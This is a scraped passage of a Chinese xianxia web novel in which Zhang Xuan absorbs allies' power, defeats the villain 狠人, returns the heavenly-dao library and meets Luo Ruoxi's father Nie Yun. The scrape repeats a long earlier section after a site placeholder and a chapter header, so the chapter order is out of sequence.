如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第225章 吝啬且毫不怜悯 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 